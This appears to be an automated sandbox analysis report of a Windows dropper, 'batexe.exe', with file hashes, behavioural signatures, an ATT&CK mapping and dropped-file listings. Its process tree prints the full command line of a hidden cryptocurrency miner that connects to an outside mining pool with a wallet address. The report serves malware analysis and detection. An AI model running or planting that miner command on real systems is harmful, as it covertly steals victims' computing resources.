73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
295s
max time network
300s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
21/02/2024, 02:56

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4768	b2e.exe
2344	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2344	cpuminer-sse2.exe
2344	cpuminer-sse2.exe
2344	cpuminer-sse2.exe
2344	cpuminer-sse2.exe
2344	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4456-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4456 wrote to memory of 4768	4456	batexe.exe	73
PID 4456 wrote to memory of 4768	4456	batexe.exe	73
PID 4456 wrote to memory of 4768	4456	batexe.exe	73
PID 4768 wrote to memory of 380	4768	b2e.exe	74
PID 4768 wrote to memory of 380	4768	b2e.exe	74
PID 4768 wrote to memory of 380	4768	b2e.exe	74
PID 380 wrote to memory of 2344	380	cmd.exe	77
PID 380 wrote to memory of 2344	380	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4456
- C:\Users\Admin\AppData\Local\Temp\A3D1.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\A3D1.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\A3D1.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4768
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A894.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:380
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2344

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\A3D1.tmp\b2e.exe

Filesize
1.2MB

MD5
7b0f4c1d8506067fce25df5de733bcb7

SHA1
053b618c2012c6895e9709696395951acf15c165

SHA256
dd9a3eca69a73709146ebc228a433e0fef43ab6c12c2280725d798c7b494216a

SHA512
45ca44d04c436082073475b0bec73cdd3df1f0cc670d9a3d5dd77fc2b3b60ef870af5912d27269107222850b07234060eefb2d272b96de1367ff544cac506618

Download Submit
C:\Users\Admin\AppData\Local\Temp\A3D1.tmp\b2e.exe

Filesize
1.1MB

MD5
16e403498efbcecb811beb699bb43821

SHA1
9efa5eb98b5742b6a1e7c9df200f71712464dbad

SHA256
57e8c120b35e0ba4f6cb3f2e68f39b5176c522244a5d93d6c400f379eff5a803

SHA512
6c48dec0f3bbdd95dc3d3db1beedab543e08ddba8af0a7f46514105050b5733ca176efd1f98f8d47ecd2895ed4f4a852c88a19ad2c2ab3740ce67ecbae108fd3

Download Submit
C:\Users\Admin\AppData\Local\Temp\A894.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
426KB

MD5
1ff5a97bde7aaf0b127f35c7f859436d

SHA1
5c7749771b9f8de6edd7ce4549e30a189a40f44a

SHA256
f8705a3b721b96ce01760a7ff3eaf723267e5b954af8217ccc98f4d144a3c3cb

SHA512
f59b489ea3c1ffdf662f476d465d9bb8739c31031b8cfeea8b674d8440de1aef1dd5bf2c22d9fadeb856915eb04db208845a00780728d938d66280b26b687496

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
496KB

MD5
0f7ef4e3cd0cb7ffcb654d8311d7b253

SHA1
5dfa78fb68ae4909cfcbe5b98a5c1924b57b8470

SHA256
e99029d1276fe837f80c58d731434c29b6bf632e5e79edd36dba52331c54baff

SHA512
f6ab036636a0658a4b08d643a0248c4e63a5d7ba259e168eee89956a2f04a7433ddee1ae41246ab8247a38c2d844a108721b52014ff90005f17b35bc3f6fcbfc

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
474KB

MD5
f01688e0b8e43199f6a79323372a1cc1

SHA1
1e2e74c7268cbc956e0dd239532328cfb0f2778a

SHA256
1b253b3fa8f2929463cd10eaa998fba6b07c98facb11fa6a0d5a52d7ecb34c62

SHA512
8b4dde16e0ebdb3ffc7124c27411ace9a0f528742f59f7b091745662f5097dd5b69b5cf498b7d55e84fc9aacef69b979dbd2bcf83ce711a47ad3f7b5f9c409ec

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
832KB

MD5
8afbaff0e890b882fd271c6619c09b38

SHA1
6c998620bfd2def8e7c3dc40f069afc4c69d6f1a

SHA256
989a9b2647114c0e52769a9dbca41c464e8ddc0bd8cab87348066e3350061cbc

SHA512
333d73277e6b57bb8e99831defd649f656d4799499192b319fc34987c0e71765fd6cdf2de2d22183fcdf7cf2b79f2ec855d49c9e6df56da06f0b16a94c18848a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
785KB

MD5
4ba335c402cb294e16fdcec39cd71638

SHA1
c9aae75109e6733f1fe27bf550dad708edeb2403

SHA256
75e7a24c679f10cd3f4ecd222936aa7c5d5ae24da8fb8f31bd159fa5ac53b115

SHA512
be0d535258d005479e6672f885c96224f2d98b3409be2f0889134dcc455d0fd2b4e9c72699f377292b5fbcc1914165cdd19ac12ded1b21c1954009bdd6f75cad

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
475KB

MD5
5dd5ce71e872bd7eaa2b5eb2aceef4ee

SHA1
40fe33633344649f8fc648c33cb41f7c34034dab

SHA256
ad2ee90f4810338677989c0925ec357d5774d5d5d84f8b0dd94b3e7af4c3f3f9

SHA512
5da892987be306fcdef22319b28fa7d42bf536dcb7d520c8f554544493759f0cf65bc3be8c77431ab1e23c1c323a8e3b25a5ba4a93955805ac335aa28680115f

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
517KB

MD5
5dcc9157d151f469d9c1c567d017b032

SHA1
f3c7823ed39561a6a4dc65803a1f90420eb18fad

SHA256
7948d1f80c696fbbb1c93307553940289e0a7d0058f0c6733d23ea74cb3618b1

SHA512
ad575244dc98a356e3e688a9d2d20c27073e426416c59cac9e33f7db27d3286a1f462f50f13562c888c03aa2713dd88a280e4d831acb66c6b44ee5e453cb2f1e

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
674KB

MD5
6b8c6d5ba933670add54597ec8b99b4d

SHA1
ad905ff241a6c986d83ceac25e8a31895e4a9ae6

SHA256
926533731326425d11403d347b0e81da2c6c81c2faa19726c8210c0164923d99

SHA512
7537564afd8d82a7e950dedd9c7d3d4e5459359d126dd2367bbb572a94602f7e6c8cba886e05debe18c24fbdf8ab0c9d26adceec5fc7453764dbb1ba509c691f

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
580KB

MD5
ae1f1e0925d8a6e8692581d113c28b6c

SHA1
ebf7678444a37a59cae9b88f2eed361700ae992b

SHA256
c4589c1b3640ae15e6cc4f9a04da91621ca38976b057568fdeb471e3ee3fd5bc

SHA512
14bdf70583c8b4c9f62ece26ea50680a49bc52fcf449a1211846ba2ab41a840ba256c86ed9d774c057897c94545ceba8c5c00cdb9ec7e9b7d2a0a7e50cecb066

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
330KB

MD5
51536735700bb6c120be95ca147d330d

SHA1
77857a2200e746c13d01a6e90d4f290290c22c9b

SHA256
39e7128b8e275f657704431f9790ed7c6914ba231258ee8446838a66454eedf6

SHA512
17964e1e480b788c67cff84683e09f6a698e92ffaaccf96d67f76cabcb7b15fb1cc9439df6ab04734d82599366f25f29a74907cc6bc4923f4b3fccddfa077636

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
521KB

MD5
4d602cfc2f748ad1728cf9183c9a8306

SHA1
6dc704ac5837cf122a1ea4df3be65f0b2111908e

SHA256
e2e1ae90df488f28e7b099af028473a6d4b46d1e8035ed98e690cf9e1d3f0ada

SHA512
c6a375021ad207042e32f58d321bba682ca10a6f4091a7e411f3e191d6ecde708b2f71b8921244f7ec14cfe6e1fcc294aa4a7bb7bd8c8d84d1753a851d1d772b

Download Submit
memory/2344-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2344-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2344-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2344-43-0x000000005F240000-0x000000005F2D8000-memory.dmp

Filesize
608KB

Download
memory/2344-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2344-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2344-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/2344-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2344-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2344-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2344-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2344-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2344-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2344-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2344-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4456-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4768-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4768-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download